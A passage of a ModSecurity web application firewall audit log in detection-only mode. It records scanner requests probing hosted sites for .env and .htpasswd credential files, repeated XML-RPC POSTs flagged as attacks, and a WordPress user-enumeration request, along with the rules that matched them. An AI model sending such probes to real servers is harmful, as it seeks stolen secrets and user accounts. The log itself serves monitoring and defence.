"CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/web/.env"] [unique_id "aE9AbDS0ae_06VU86h78kQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024300169937 656075 (- - -) Stopwatch2: 1750024300169937 656075; combined=1730, p1=408, p2=1238, p3=0, p4=0, p5=83, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --50019d29-Z-- --70efc137-A-- [16/Jun/2025:03:21:43.861020 +0530] aE9Abx-kH31pk4mNbsVAoQAAAAo 185.177.72.210 45228 127.0.0.1 7081 --70efc137-B-- GET /blankon/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --70efc137-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=77f6256ebc3bff5ee5b3e20dfd5b5a241750024303; expires=Sun, 15 Jun 2025 22:51:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --70efc137-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/blankon/.env"] [unique_id "aE9Abx-kH31pk4mNbsVAoQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024303210065 651023 (- - -) Stopwatch2: 1750024303210065 651023; combined=1874, p1=353, p2=1425, p3=0, p4=0, p5=95, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70efc137-Z-- --2c5f4b79-A-- [16/Jun/2025:03:21:56.710724 +0530] aE9Ae4l8S04UZ4l67-nf8wAAAAk 128.199.112.101 54316 127.0.0.1 7081 --2c5f4b79-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 504 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2c5f4b79-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2c5f4b79-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Ae4l8S04UZ4l67-nf8wAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024315803030 907750 (- - -) Stopwatch2: 1750024315803030 907750; combined=2037, p1=351, p2=1273, p3=47, p4=66, p5=184, sr=97, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c5f4b79-Z-- --1172c239-A-- [16/Jun/2025:03:22:38.742740 +0530] aE9Aph-kH31pk4mNbsVAwgAAAAo 185.177.72.210 48548 127.0.0.1 7081 --1172c239-B-- GET /ch6a-mytodo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1172c239-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fd819b4555a1ff53040a20a41d7b3eab1750024358; expires=Sun, 15 Jun 2025 22:52:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1172c239-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ch6a-mytodo/.env"] [unique_id "aE9Aph-kH31pk4mNbsVAwgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024358008904 733913 (- - -) Stopwatch2: 1750024358008904 733913; combined=1874, p1=360, p2=1425, p3=0, p4=0, p5=88, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1172c239-Z-- --dba7920b-A-- [16/Jun/2025:03:22:44.365597 +0530] aE9AqzS0ae_06VU86h78tAAAAAA 185.177.72.210 57224 127.0.0.1 7081 --dba7920b-B-- GET /:9000/docs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dba7920b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b3d20d0683bce7cd4fe314c9d49471501750024364; expires=Sun, 15 Jun 2025 22:52:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dba7920b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/docs/.env"] [unique_id "aE9AqzS0ae_06VU86h78tAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024363694547 671123 (- - -) Stopwatch2: 1750024363694547 671123; combined=1727, p1=382, p2=1249, p3=0, p4=0, p5=95, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dba7920b-Z-- --a359123a-A-- [16/Jun/2025:03:22:56.558496 +0530] aE9At3ZqyQ8YfVGvJU7aYAAAAAY 128.199.112.101 37434 127.0.0.1 7081 --a359123a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a359123a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a359123a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9At3ZqyQ8YfVGvJU7aYAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024375511125 1047427 (- - -) Stopwatch2: 1750024375511125 1047427; combined=2261, p1=375, p2=1492, p3=42, p4=59, p5=181, sr=109, sw=112, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a359123a-Z-- --09f08a15-A-- [16/Jun/2025:03:23:02.036184 +0530] aE9AvYrLgrklqy57Kk2d9AAAAAg 185.177.72.210 48654 127.0.0.1 7081 --09f08a15-B-- GET /_.htpasswd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --09f08a15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0b1c0d03bbe6e46653f494826ff8079c1750024381; expires=Sun, 15 Jun 2025 22:53:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --09f08a15-H-- Message: Warning. Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/_.htpasswd"] [unique_id "aE9AvYrLgrklqy57Kk2d9AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024381336962 699297 (- - -) Stopwatch2: 1750024381336962 699297; combined=2013, p1=372, p2=1544, p3=0, p4=0, p5=96, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09f08a15-Z-- --45076601-A-- [16/Jun/2025:03:23:56.134013 +0530] aE9A8xAGYpjnkyifC9YiFAAAAAU 128.199.112.101 56376 127.0.0.1 7081 --45076601-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --45076601-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --45076601-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9A8xAGYpjnkyifC9YiFAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024435210687 923392 (- - -) Stopwatch2: 1750024435210687 923392; combined=2391, p1=485, p2=1475, p3=49, p4=68, p5=191, sr=143, sw=123, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --45076601-Z-- --a6726b0e-A-- [16/Jun/2025:03:24:05.574848 +0530] aE9A_UNwpNEMJppxC49TuAAAAAI 217.174.152.39 36048 127.0.0.1 7081 --a6726b0e-B-- GET ///wp-json/wp/v2/users/ HTTP/1.0 Host: archangledesignstudio.com X-Real-IP: 217.174.152.39 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/91.0 Referer: http://archangledesignstudio.com///wp-json/wp/v2/users/ Accept-Encoding: gzip --a6726b0e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://archangledesignstudio.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin,User-Agent Connection: close Content-Type: application/json; charset=UTF-8 --a6726b0e-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "archangledesignstudio.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9A_UNwpNEMJppxC49TuAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/archangledesignstudio.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024445319718 255233 (- - -) Stopwatch2: 1750024445319718 255233; combined=1888, p1=323, p2=1451, p3=0, p4=0, p5=114, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a6726b0e-Z-- --442ff068-A-- [16/Jun/2025:03:24:12.925070 +0530] aE9BBBAGYpjnkyifC9YiHQAAAAU 185.177.72.210 39404 127.0.0.1 7081 --442ff068-B-- GET /:5601/application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --442ff068-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=60ec7f5557c77935a878d4115999b1971750024452; expires=Sun, 15 Jun 2025 22:54:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --442ff068-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/application/.env"] [unique_id "aE9BBBAGYpjnkyifC9YiHQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024452273345 651819 (- - -) Stopwatch2: 1750024452273345 651819; combined=1856, p1=391, p2=1373, p3=0, p4=0, p5=91, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --442ff068-Z-- --77248051-A-- [16/Jun/2025:03:24:16.930406 +0530] aE9BCDS0ae_06VU86h785wAAAAA 185.177.72.210 39596 127.0.0.1 7081 --77248051-B-- GET /:8181/admin/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --77248051-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=059c9bdfd673663eed68c340ccb130891750024456; expires=Sun, 15 Jun 2025 22:54:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --77248051-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/admin/.env.staging"] [unique_id "aE9BCDS0ae_06VU86h785wAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024456266655 663839 (- - -) Stopwatch2: 1750024456266655 663839; combined=1893, p1=375, p2=1417, p3=0, p4=0, p5=101, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --77248051-Z-- --9204c508-A-- [16/Jun/2025:03:24:21.159872 +0530] aE9BDLsEVBap6l1Fvp1CAQAAAAQ 185.177.72.210 47894 127.0.0.1 7081 --9204c508-B-- GET /examples/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9204c508-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=88e714c1860c7127b6320215da8a11d21750024461; expires=Sun, 15 Jun 2025 22:54:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9204c508-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/web/.env"] [unique_id "aE9BDLsEVBap6l1Fvp1CAQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024460520099 639856 (- - -) Stopwatch2: 1750024460520099 639856; combined=1806, p1=369, p2=1330, p3=0, p4=0, p5=106, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9204c508-Z-- --39473767-A-- [16/Jun/2025:03:24:25.142306 +0530] aE9BEB-kH31pk4mNbsVA-AAAAAo 185.177.72.210 48052 127.0.0.1 7081 --39473767-B-- GET /:10000/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --39473767-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f2b23ff37d711096dfe8a5d525e2a1d91750024464; expires=Sun, 15 Jun 2025 22:54:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --39473767-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/configurationtionura/.env"] [unique_id "aE9BEB-kH31pk4mNbsVA-AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024464479900 662468 (- - -) Stopwatch2: 1750024464479900 662468; combined=1725, p1=425, p2=1205, p3=0, p4=0, p5=94, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --39473767-Z-- --3aae3f1b-A-- [16/Jun/2025:03:24:31.121429 +0530] aE9BFkNwpNEMJppxC49TxQAAAAI 185.177.72.210 54116 127.0.0.1 7081 --3aae3f1b-B-- GET /admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3aae3f1b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a373e082d70c8c39d21e5d62ff5b99491750024470; expires=Sun, 15 Jun 2025 22:54:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3aae3f1b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin/.env"] [unique_id "aE9BFkNwpNEMJppxC49TxQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024470409136 712356 (- - -) Stopwatch2: 1750024470409136 712356; combined=1577, p1=356, p2=1115, p3=0, p4=0, p5=106, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3aae3f1b-Z-- --9d64b31f-A-- [16/Jun/2025:03:24:57.045752 +0530] aE9BMDS0ae_06VU86h78-QAAAAA 128.199.112.101 46602 127.0.0.1 7081 --9d64b31f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9d64b31f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 